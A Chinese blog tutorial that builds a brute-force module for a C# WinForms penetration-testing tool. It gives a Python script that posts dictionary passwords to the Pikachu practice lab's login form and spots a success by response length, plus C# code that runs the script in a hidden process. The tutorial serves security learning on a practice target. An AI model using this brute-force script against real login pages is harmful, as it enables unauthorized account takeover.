使用C#winform编写渗透测试工具--暴力破解
使用C#winform编写渗透测试工具--暴力破解
这篇文章主要介绍使用C#winform编写渗透测试工具--暴力破解。暴力破解是指通过利用大量猜测和穷举的方式来尝试获取用户口令的攻击方式。简单来说就是猜口令,攻击者一直枚举发送请求,因为爆破成功和失败的长度是不一样的,所以可以通过对比数据包的长度很好的判断是否爆破成功。通过python编写爆破脚本,再通过C#winform调用.py脚本进行爆破。
- 下面就是使用C#winform编写的渗透测试工具,前面我们已经完成了端口扫描和敏感目录扫描的工作,这一部分将介绍暴力破解部分。
- 使用pikachu靶场环境进行实验,如今通常是使用BurpSuit的Intruder模块来进行暴力破解,网上也有很多教程,这里我们通过自己编写软件进行暴力破解,靶场环境的搭建步骤可以参考https://blog.csdn.net/guo_yan_gy/article/details/103566638这篇文章,搭建后打开浏览器输入网址进入靶场。
目录
- 实现原理
- 代码实现
- 使用步骤
一、实现原理
暴力破解分为基于表单的暴力破解、基于验证码的暴力破解和基于Token破解,这里主要实现基于表单的暴力破解。
- 首先需要一个密码字典,可以通过自己收集,也可以在网上下载。
- 一般进行密码爆破时,都是知道账户的而不知道密码,但如果两个都不知道,一般先爆破账户。爆破账户的原理是根据在输入账号后反馈的消息来进行确认,这里主要进行密码爆破。
- 使用python编写脚本调用字典进行密码爆破,根据返回的结果的长度判断爆破的结果(错误的密码返回的结果的信息是一样的,长度也是一样的,正确密码返回的结果和其他的返回结果不同,所以只需要找到返回结果长度和其他不一样的密码即可,该密码就是正确密码)。
二、代码实现
python实现密码暴力破解
# conding=utf-8
import requests
import sys
# 此处添加header
header = """
Host: 10.16.53.180
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Origin: http://10.16.53.180
Connection: close
Referer: http://10.16.53.180/pikachu/vul/burteforce/bf_form.php
Cookie: PHPSESSID=1g0kj04uc3ahskoaubeqpgud56
Upgrade-Insecure-Requests: 1
"""
def get_headers(url, test):
headers = dict(line.split(": ", 1) for line in header.split("\n") if line != '') # 通过原生请求头获取请求头字典
f = open("password.txt", "r") # 打开字典
pwds = f.readlines()
print("响应时间:")
for pwd in pwds:
url = url
# url = 'http://10.16.53.180/pikachu/vul/burteforce/bf_form.php'
values = {
'username': test,
'password': pwd[0:-1],
'submit': 'Login',
}
req = requests.post(url=url, headers=headers, data=values) # 发送post请求
print(pwd[0:-1]+'-->', len(req.text)) # 返回结果
get_headers(sys.argv[1], sys.argv[2])
C#调用脚本
对于python脚本中包含第三方模块的情况,同样,通过直接创建Process进程,调用python脚本,返回扫描结果。
- 创建按钮按下事件button1_Click,运行“调用python脚本”函数runPythonPassword()
private void button6_Click(object sender, EventArgs e)
{
richTextBox3.Clear();
runPythonPassword();//运行python函数
label19.Text = "开始扫描...";
}
- 实例化一个python进程 调用.py 脚本
void runPythonPassword()
{
string url ="http://10.16.53.180/pikachu/vul/burteforce/bf_form.php";
//string headers = richTextBox4.Text;
string username = textBox8.Text;
p = new Process();
string path = "trans_headers.py";//待处理python文件的路径,本例中放在debug文件夹下
string sArguments = path;
ArrayList arrayList = new ArrayList();
arrayList.Add(url);//网站url
//arrayList.Add(headers);//请求头
arrayList.Add(username);//破解的用户名
foreach (var param in arrayList)//拼接参数
{
sArguments += " " + param;
}
//label29.Text = sArguments;
p.StartInfo.FileName = @"D:\Anaconda\python.exe"; //没有配环境变量的话,可以写"xx\xx\python.exe"的绝对路径。如果配了,直接写"python"即可
p.StartInfo.Arguments = sArguments;//python命令的参数
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardError = true;
p.StartInfo.CreateNoWindow = true;
p.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
p.Start();//启动进程
p.BeginOutputReadLine();
p.OutputDataReceived += new DataReceivedEventHandler(p_OutputDataReceived_password);
Console.ReadLine();
}
- 输出接收事件函数
void p_OutputDataReceived_password(object sender, DataReceivedEventArgs e)
{
var printedStr = e.Data;
Action at = new Action(delegate ()
{
//接受.py进程打印的字符信息到文本显示框
richTextBox3.AppendText(printedStr + "\n");
label19.Text = "扫描结束";
});
Invoke(at);
}
三、软件使用步骤
- 首先在密码框输入任意密码,使用BurpSuit进行抓包。我们发现提交的请求是一个POST请求,账号是admin,密码是123。
- 将报文头部复制到python脚本中。
- 输入url地址和账户名,点击开始按钮,进行爆破。
- 可以看到密码为“abc123”返回的结果的长度和其他的都不一样,由此可以得到账户名为“test”的密码为“abc123”。
5.在靶场中输入账户名:test,密码:abc123,显示登录成功,爆破结束。
github地址:https://github.com/Chenmengx/Penetration-testing-tool
使用C#winform编写渗透测试工具--暴力破解的更多相关文章
- #使用C#winform编写渗透测试工具--子域名挖掘
使用C#winform编写渗透测试工具--子域名挖掘 这篇文章主要介绍使用C#winform编写渗透测试工具--子域名挖掘.在渗透测试中,子域名的收集十分重要,通常一个网站的主站的防御能力特别强,而他 ...
- 使用C#winform编写渗透测试工具--敏感目录扫描
使用C#winform编写渗透测试工具--敏感目录扫描 由于之前在做渗透测试的时候,发现使用的工具较多,切换起来较麻烦,便萌生了开发一个包含各种渗透测试工具的小程序,包括敏感目录扫描.端口查询.子域名 ...
- 使用C#winform编写渗透测试工具--Web指纹识别
使用C#winform编写渗透测试工具--web指纹识别 本篇文章主要介绍使用C#winform编写渗透测试工具--Web指纹识别.在渗透测试中,web指纹识别是信息收集关键的一步,通常是使用各种工具 ...
- 使用C#winform编写渗透测试工具--端口扫描
使用C#winform编写渗透测试工具--端口扫描器 主要介绍使用C#winform编写渗透测试工具--端口扫描器,端口扫描器则是一种检测服务器或者主机虚拟端口是开启或关闭的工具.由于连接到局域网或互 ...
- 使用C#winform编写渗透测试工具--SQL注入
使用C#winform编写渗透测试工具--SQL注入 本篇文章主要介绍使用C#winform编写渗透测试工具,实现SQL注入的功能.使用python编写SQL注入脚本,基于get显错注入的方式进行数据 ...
- github渗透测试工具库
本文作者:Yunying 原文链接:https://www.cnblogs.com/BOHB-yunying/p/11856178.html 导航: 2.漏洞练习平台 WebGoat漏洞练习平台: h ...
- github渗透测试工具库[转载]
前言 今天看到一个博客里有这个置顶的工具清单,但是发现这些都是很早以前就有文章发出来的,我爬下来后一直放在txt里吃土.这里一起放出来. 漏洞练习平台 WebGoat漏洞练习平台:https://gi ...
- 轻量级Web渗透测试工具jSQL
轻量级Web渗透测试工具jSQL jSQL是Kali集成的一款轻量级的Web渗透测试工具.最初该工具主要实施SQL注入,后来增加更多的功能,扩展形成一个综合性的Web渗透测试工具.Kali提供的版本较 ...
- 渗透测试工具SQLmap
一.简介 SQLmap 是一款用 Python 编写的开源渗透测试工具,用来自动检测和利用 SQL 注入漏洞. 二.Windows 下安装 2.1 安装 Python 环境 注:Python 3.0会 ...
随机推荐
- 【题解】10-19秀秀的森林(forest)
我恨秀秀倍增LCA+离线 (时光倒流) 题目 秀秀有一棵带n个顶点的树T,每个节点有一个点权ai-.有一天,她想拥有两棵树,于是她从T中删去了一条边.第二天,她认为三棵树或许会更好一些.因此,她又从她 ...
- 管理后台Vue
管理后台 遇到的问题 搭建 基于vue 3.0 Vue CLI 4.x Ant Design Vue 2.0 搭建后台管理系统 Ant Design Vue 2.0 npm i --save ant- ...
- Linux命令大全之搜索命令
文件搜索命令(只能搜索文件) locate 文件名 在后台数据库中按文件名搜索,搜索速度快 /var/lib/mlocate(locate文件数据库) 这个数据库默认一天更新一次,强制 ...
- Java实现工厂模式
工厂模式(Factory),当需要根据运行时的一些条件来决定创建具体对象时,就应该考虑使用工厂设计模式,将创建对象的任务交给工厂集中处理. 工厂模式有多种写法,总体分为简单工厂模式和抽象工厂模式 工厂 ...
- vsftpd.conf配置文件详解
1.默认配置: 1>允许匿名用户和本地用户登陆. anonymous_enable=YES local_enable=YES 2>匿名用户使用的登陆名为ftp或anonymous,口令为空 ...
- 17、linux root用户密码找回
17.1.救援模式: 光盘模式启动(第一启动项) 删除/mnt/sysimage/etc/passwd root的密码,halt重启. 改为硬盘启动模式,无密码进入root,为root新建密码 17. ...
- css 背景图片铺满
body { width: 100%; height: 100%; background: url(img/loginbg.png); background-size: 100% 100%; back ...
- Python Tkinter Menu
本人想开发一个简易的搜图GUI,基于此,选择用Tkinter模块开发. 需要开发出菜单栏 1 from Tkinter import * 2 3 4 root = Tk() 5 root.title( ...
- 010_Mybatis简介
目录 Mybatis简介 什么是 MyBatis? 如何获得Mybatis 持久化 持久层 为什么需要Mybatis 第一个Mybatis程序 搭建环境 建库建表 新建父工程 新建普通maven项目 ...
- python之struct详解
python之struct详解 2018-05-23 18:20:29 醉小义 阅读数 20115更多 分类专栏: python 版权声明:本文为博主原创文章,遵循CC 4.0 BY-SA版权协议 ...